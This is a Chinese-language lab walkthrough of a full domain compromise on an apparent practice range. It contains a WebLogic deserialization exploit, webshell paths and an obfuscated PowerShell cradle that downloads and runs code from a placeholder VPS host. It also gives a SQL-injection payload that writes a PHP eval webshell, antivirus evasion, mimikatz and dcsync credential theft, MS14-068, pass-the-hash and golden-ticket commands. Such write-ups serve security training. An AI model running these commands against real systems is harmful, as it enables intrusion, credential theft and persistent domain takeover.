WEB服务器:windows2008系统
外网网卡IP:192.168.1.152
内网网卡IP:10.10.10.80
域成员:windows server 2003系统
网卡IP:10.10.10.200
域控服务器:windows server 2008系统
网卡IP:192.168.52.138
攻击机器:kali windows 10
kali IP:192.168.1.112
CobaltStrike服务器IP:192.168.1.108
Weblogic反序列化远程代码执行漏洞获取webshell
这个靶机一开始在登陆web机器的时候输入作者提示的登陆密码不能登陆,然后我就使用administrator登陆进去把web机器的密码修改为作者说的密码了!进去之后需要启动Weblogic。路径在C:OracleMiddlewareuser_projectsdomainsbase_domain里面。这里面有一个批处理点击即可。接着到攻击机器来,使用nmap扫描目标机器,扫描到了7001端口是weblogic。
使用weblogic扫描工具扫描一波发现了有反序列化漏洞。
https://github.com/rabbitmask/WeblogicScan
这里扫描除了两个CVE漏洞
访问一下存在漏洞的地址,接着抓包写入poc
http://192.168.1.152:7001/_async/AsyncResponseService
使用poc来验证一下。github上面有poc
https://github.com/lufeirider/CVE-2019-2725
可以看到可以执行命令
接下来的话直接让他上线CobaltStrike。
返回200成功,但是等了很久很久都没有CobaltStrike都没上线,接着查看进程发现了有360安全卫士。我刚刚给的powershell应该被360拦截了
使用weblogic利用工具上传shell上去,上传需要找到几个点,获取物理路径,如下面三种:
第一个方法是把shell写到uddiexplorer目录中
\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp
目录写入木马,
访问 http://*.*.*.*:7001/uddiexplorer/shell.jsp
第二个方法是把shell写在应用安装目录中
\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp
目录写入木马,
访问 http://*.*.*.*:7001/项目名/shell.jsp
第三个方法是把shell写到控制台images目录中
\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp
接着在这个目录上传木马
上传成功,访问路径:
http://*.*.*.*:7001/console/framework/skins/wlsconsole/images/shell.jsp
连接冰蝎成功!!
webshell上线Cobaltstrike
首先这里我使用了对powershell的代码进行混淆,首先生成powershell的payload,然后使用powershell脚本混淆工具进行混淆。地址如下:
https://github.com/danielbohannon/Invoke-Obfuscation
接着使用这个工具对powershell脚本混淆一下
接着在对powershell命令在进行混淆一次:参考师傅文章:https://xz.aliyun.com/t/7903
powershell -NoExit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://VPS_IP:port/1.ps1'')'.Replace('123','adString');IEX ($c1+$c2)"
之后再使用powershell命令就可以让对方上线了。
使用systeminfo可以查看到系统的信息,当前的域是处在web域中,是一台windows server 2008的服务器。并且打的补丁比较少
查看网络信息,这里是双网卡,内网是10.10.10.0/24网段。
提权的话这里使用了ms15-051。这里CS有带这个提权,尝试一下后直接提取成功了。
直接使用mimikatz获取到系统的密码凭证。
由于对方有360的话,每当执行一些敏感的命令都会有提醒阻止的。可以使用使用argue参数污染,这里把net1参数进行污染。
参数进行污染之后就可以使用execute参数进行添加用户。
查看对方开启了3389端口之后,可以使用刚刚创建的用户进行远程桌面登陆
使用Ladon插件对网段进行扫描,这里可以发现DC.delay.com可能是域控。
在刚刚ipconfig获取的域控域名进行ping测试,发现返回的IP的确就是10.10.10.10
接着使用代理进入内网探测,使用Venom代理工具进行代理。在具有具有独立IP的机器上面执行命令:
admin.exe -lport 6666
把agent.exe上传到对方机器上面,执行如下命令,使对方回连主机。
agent.exe -rhost 回连主机IP -rport 6666
之后在回连主机上面就可以看到有新的连接已经连接进来了,之后进入这个节点。使用socks 1080建立一个代理的端口。
进入使用Proxifier挂上代理,端口就是刚刚设置的1080。挂上代理之后使用端口扫描工具对10.10.10.201这个IP进是端口扫描,对方开启了80,445和3389端口。
内网PC获取shell
访问10.10.10.201的80端口,发现是一个BEESCMS的系统,在网上搜索了之后发现v4.0版本存在后台的登陆框注入漏洞。
使用dirsearch对网站进行扫描,扫描发现了后台登陆和i.php文件,i.php文件大概率就是phpinfo了吧
BESCMS后台存在注入,直接在账号这里输入单引号可以直接报错。
根据网上的提供的漏洞信息是可以直接写入一句话进去的,这里试着访问i.php发现真的就是phpinfo的页面,从phpinfo泄露的信息来看这里就是网站的根目录了。
对这个注入进行判断字段数,发现有五个字段,在第五字段的时候不报错了!显示密码不正确!
根据网上的对BESSCMSv4.0的利用手法,写入一句话木马进去,在写入一句话的时候需要对shell的payload进行编码转换。已经知道了根目录,直接写入一句话到目标的网站根目录上面。并且需要的条件是secure_file_priv为空才能写入。
admin' uni union on selselectect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e in into outoutfilefile 'C:/tongda/PHPTutorial/WWW/netstat/s.php'#
接着查看一些是否已经写入成功,很顺利这已经写入shell成功了。而且好像这里还出现了管理员的账号和密码。
之后直接使用菜刀进行连接即可。
接着在已经获取的beacon中设置一个中转的监听,让内网的机器会连的时候会连到可以出网的WEB服务器上面。
接着生成一个中转监听的木马,并且上传到内网PC的机器上面执行。
接着这里的代理连就已经完成了。内网的PC依靠着WEB传递数据出去。
既然返回已经是要给高权限了,那就可以直接获取PC里面的凭借密码。
既然密码一样的那可以尝试一下是否可以PTH获取内网PC的主机。但是这里显示不能获取。
获取域控的权限
既然已经有了域普通用户的的哈希,如果域控存在ms14-068漏洞的话普通用户的权限是可以提升为域控权限的,首先需要有域用户的SID值
使用命令制作一张票据出来。
MS14-068.exe -u [email protected] -p 1qaz@WSX. -s S-1-5-21-2756371121-2868759905-3853650604-500 -d 10.10.10.10
参数说明:
- -u 域账号+@+域名称,这里是WEB+@+de1ay.com
- -p 为当前用户的密码,即WEB的密码
- -s为hello的SID值,可以通过whoami /all来获取用户的SID值
- -d为当前域的域控
执行成功之后会在当前目录下生成一个.ccache的文件。接着清除凭证信息,在CS中可以直接使用命令
kerberos_ticket_purge,接着将票据注入到内存当中
额这就有点!!!什么鬼啊!
接着尝试一下PTH直接传递哈希过去看看域控能否上线吧!最后还是PTH上线了
由于是Windows 2012的系统,并不能直接获取到明文的密码。可以通过修改注册表来获取明文密码
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
这里我就不修改注册表了,如果修改的话需要对方注销或者重启才有效
接着制作黄金票据。使用命令把krbtgt的密码HASH值获取出来,一下两条命令都可以获取krbtgt密码
lsadump::dcsync /domain:de1ay.com /user:krbtgt
LsaDump::dcsync /domain:de1ay.com /all /csv
接着使用CobaltStrike自带的黄金票据来生成GoldenTicket
最后再把上传的文件和webshell删除,再把一下痕迹擦测,这里有一位师傅的博客写的很好https://blog.csdn.net/bylfsj/article/details/102565586
今天也是特别的日子,昨天也是哈哈哈!炎日的夏天在经历暴雨的冲洗,换来清爽加上美丽的晚霞!
来源:freebuf.com 2020-08-13 15:01:47 by: dnsill
请登录后发表评论
注册